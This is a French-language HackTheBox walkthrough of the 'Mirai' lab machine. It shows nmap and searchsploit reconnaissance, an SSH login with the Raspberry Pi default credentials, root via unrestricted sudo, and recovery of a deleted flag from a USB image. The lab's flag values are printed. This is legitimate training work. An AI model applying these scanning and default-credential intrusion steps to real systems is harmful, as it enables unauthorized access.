HackTheBox Walkthrough - Mirai¶
Machine ciblée : Mirai.
Répertoire : /home/kali/Mirai
Temps passé dessus : 10 min pour être root, 1h pour la finir.
Changelog du template¶
Version 1.0 - Sep. 2022 : création du template de base
Version 1.1 - Oct. 2022 : Rajout des scan nmap et des commandes de base
Version 1.2 - Nov. 2022 : Rajout des redirection pour éviter les retours d’erreur et du domaine pour être compliant avec TryHackMe
Version 1.3 - Nov. 2022 : Ajout du scan UDP + de l’export vers searchsploit
Phase 1 : Reconnaissance¶
┌──(kali㉿kali)-[~]
└─$
name="Mirai"
repository="/home/kali/$name"
ip="10.10.10.48"
domain='htb'
cd $repository 2&>/dev/null || mkdir $repository && cd $repository
grep "$ip $name ${name}.${domain}" /etc/hosts >/dev/null || echo "$ip $name ${name}.${domain}" | sudo tee -a /etc/hosts
nmap -Pn -A -T5 --top-port 1000 -oN $repository/txt $ip
nmap -Pn -A -T5 -p - -oN $repository/full -oX $repository/sploitable $ip
searchsploit --nmap $repository/sploitable
sudo nmap -Pn -A -T5 -sU -p - -oN $repository/udp -oX $repository/udploitable $ip
searchsploit --nmap $repository/udploitable
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.90 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-27 13:41 EST
Stats: 0:00:52 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.88% done; ETC: 13:41 (0:00:00 remaining)
Nmap scan report for Mirai (10.10.10.48)
Host is up (0.018s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 aaef5ce08e86978247ff4ae5401890c5 (DSA)
| 2048 e8c19dc543abfe61233bd7e4af9b7418 (RSA)
| 256 b6a07838d0c810948b44b2eaa017422b (ECDSA)
|_ 256 4d6840f720c4e552807a4438b8a2a752 (ED25519)
53/tcp open domain dnsmasq 2.76
| dns-nsid:
|_ bind.version: dnsmasq-2.76
80/tcp open http lighttpd 1.4.35
|_http-title: Website Blocked
|_http-server-header: lighttpd/1.4.35
1874/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open http Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Unauthorized
|_http-favicon: Plex
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
32469/tcp open upnp Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.93 seconds
[i] SearchSploit s XML mode (without verbose enabled). To enable: searchsploit -v --xml...
[i] Reading: '/home/kali/Mirai/sploitable'
[i] /usr/bin/searchsploit -t dnsmasq
------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------ ---------------------------------
Dnsmasq < 2.78 - 2-byte Heap Overflow | multiple/dos/42941.py
Dnsmasq < 2.78 - Heap Overflow | multiple/dos/42942.py
Dnsmasq < 2.78 - Information Leak | multiple/dos/42944.py
Dnsmasq < 2.78 - Integer Underflow | multiple/dos/42946.py
Dnsmasq < 2.78 - Lack of free() Denial of Service | multiple/dos/42945.py
Dnsmasq < 2.78 - Stack Overflow | multiple/dos/42943.py
Web Interface for DNSmasq / Mikrotik - SQL Injection | php/webapps/39817.php
------------------------------------------------------ ---------------------------------
[i] /usr/bin/searchsploit -t lighttpd
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
lighttpd - Denial of Service (PoC) | linux/dos/18295.txt
Lighttpd 1.4.x - mod_userdir Information Disclosure | linux/remote/31396.txt
lighttpd 1.4/1.5 - Slow Request Handling Remote Denial of Service | linux/dos/33591.sh
Lighttpd < 1.4.23 (BSD/Solaris) - Source Code Disclosure | multiple/remote/8786.txt
---------------------------------------------------------------------------------- ---------------------------------
[i] /usr/bin/searchsploit -t platinum upnp
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure | hardware/remote/49075.py
Platinum SDK Library - POST UPnP 'sscanf' Buffer Overflow (PoC) | multiple/dos/15346.c
---------------------------------------------------------------------------------- ---------------------------------
Bon, en effet, ça m’automatise pas mal de chose le searchsploit –nmap. On a donc un serveur web, un serveur DNS, un plex et un platinum upnp. Il manque le searchsploit du plex, ça prouve qu’il faut encore que j’en fasse à la main :
┌──(kali㉿kali)-[~]
└─$ searchsploit plex
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Plex Media Server 0.9.9.2.374-aa23a69 - Multiple Vulnerabilities | multiple/webapps/31983.txt
Plex Media Server 1.13.2.5154 - SSDP Processing XML External Entity Injection | xml/webapps/45146.txt
---------------------------------------------------------------------------------- ---------------------------------
Aller, on va commencer l’enum et faire un tour du cote des sites web.
Phase 2 : Analyse¶

Ok, j’étais intéressé par le plex, mais si tu rajoutes un pi-hole dans le tas, c’est tout simplement trop cool ! J’avais lancé burp en même temps (et heureusement), on se rends compte que le site pi.hole est un vhost du serveur. On va le rajouter à notre /etc/hosts
┌──(kali㉿kali)-[~]
└─$ sudo vi /etc/hosts
10.10.10.48 Mirai Mirai.htb pi.hole
┌──(kali㉿kali)-[~]
└─$ searchsploit pi-Hole
---------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------- ---------------------------------
Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit) | php/remote/48491.rb
Pi-hole 4.3.2 - Remote Code Execution (Authenticated) | python/webapps/48727.py
Pi-hole 4.4.0 - Remote Code Execution (Authenticated) | linux/webapps/48519.py
Pi-hole < 4.4 - Authenticated Remote Code Execution | linux/webapps/48442.py
Pi-hole < 4.4 - Authenticated Remote Code Execution / Privileges Escalation | linux/webapps/48443.py
Pi-Hole Web Interface 2.8.1 - Persistent Cross-Site Scripting in Whitelist/Blackl | linux/webapps/40249.txt
---------------------------------------------------------------------------------- ---------------------------------
On est sur du 5.8.1 donc on a encore aucune piste. Hormis le nom de la machine : raspberrypi. Ça me rappelle que je dois faire mes mises à jour sur le mien, mais j’ai perdu mon mot de passe … C’est quoi déjà le compte par défaut?
Phase 3 : User¶
┌──(kali㉿kali)-[~/Mirai]
└─$ ssh pi@$ip
pi@10.10.10.48 s password:
Last login: Sun Nov 27 18:35:56 2022 from 10.10.16.4
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~ $ cat Desktop/user.txt
ff837707441b257a20e32199d7c8838d
pi@raspberrypi:~
Ok, j’suis fier, j’vais pas le caché !
Phase 4 : Élévation de privilège¶
pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
Heu … Ça me parait un peu trop simple là.
pi@raspberrypi:~ $ sudo su
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...
Bon. On a qu’à dire que c’est pour nous faire travailler un peu de forensic, et que c’est pas mal amener, j’apprécie. Toutefois, t’es root en 5 minutes, sécurise ton bousin.
root@raspberrypi:/media# cd usbstick/
root@raspberrypi:/media/usbstick# ls
damnit.txt lost+found
root@raspberrypi:/media/usbstick# cat damnit.txt
Damnit ! Sorry man I accidentally deleted your files off the USB stick.
Do you know fi there is any way to get them back ?
N.B J’ai changé le if en fi car il faisait planter mon ide.
Bon, faut récupérer des fichiers sur la clé USB. Pour ma part, j’m’y connais pas trop là dessus hormi avec photorec, mais ça veut dire faire un export complet de la clé USB puis me la rapatrier en local car la machine a pas internet. Pas très chiant, mais il doit y avoir d’autre méthode, et c’est là l’occasion d’en apprendre une avec le write-up.
Methode 1 : le strings¶
Alors celle là, j’y aurai JAMAIS pensé. Si l’on fait un string de la partition /dev/sdb (celle de la clé USB, il a pas fait de sb1), et bien l’on récupère l’ensemble des choses écrites dessus … Donc le flag comme il n’a pas été complètement wipe. Très cool j’ai trouvé !
root@raspberrypi:/media/usbstick# strings /dev/sdb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know fi there is any way to get them back?
-James
Methode 2 : Récupérer en local l’image¶
Bon, un peu déçu, la seconde méthode n’est autre que celle que j’avais en tête. j’dois être bon en forensic contre mon gré, merci les utilisateurs Ubuntu-FR qui avaient perdu des données à l’époque …
Seul petit détail, il utilise ici dcfldd qui est un dd amélioré pour le forensic. J’ai voulu tester avec photorec, mais il ne me retrouve rien. Et c’est aussi ce que met le write-up officiel. Un peu déçu. Je garde les commandes ici pour la mémoire :
root@raspberrypi:/media/usbstick# dcfldd if=/dev/sdb of=/home/pi/usb
256 blocks (8Mb) written.
320+0 records in
320+0 records out
root@raspberrypi:/media/usbstick# chmod 777 /home/pi/usb
┌──(kali㉿kali)-[~/Mirai]
└─$ scp pi@$ip:./usb ./
pi@10.10.10.48 s password:
usb 100% 10MB 9.0MB/s 00:01
┌──(kali㉿kali)-[~/Mirai]
└─$ testdisk usb
#suivant suivant suivant list ==> On voit ici le fichier root.txt a 0
# -rw-r--r-- 0 0 0 14-Aug-2017 01:27 root.txt
┌──(kali㉿kali)-[~/Mirai]
└─$ photorec usb
#suivant suivant suivant whole ==> Ne récupère que le fichier Damnit.
┌──(kali㉿kali)-[~/Mirai]
└─$ strings ./usb
root.txt
damnit.txt
>r &
3d3e483143ff12ec505d026fa13e020b
Récapitulatif¶
Le début m’a hypé à mort, mais je suis bien déçu par la fin. Bon, la méthode du strings sur la clé USB est super sympa. Pour info, je ne l’avais pas, le nom de la machine est inspiré du réseau de botnet Mirai qui visait les machines avec des credentials par défaut. Un gros indice donc !
A retenir¶
Ne pas laisser les creds par défaut
Un string ça passe même sur un device.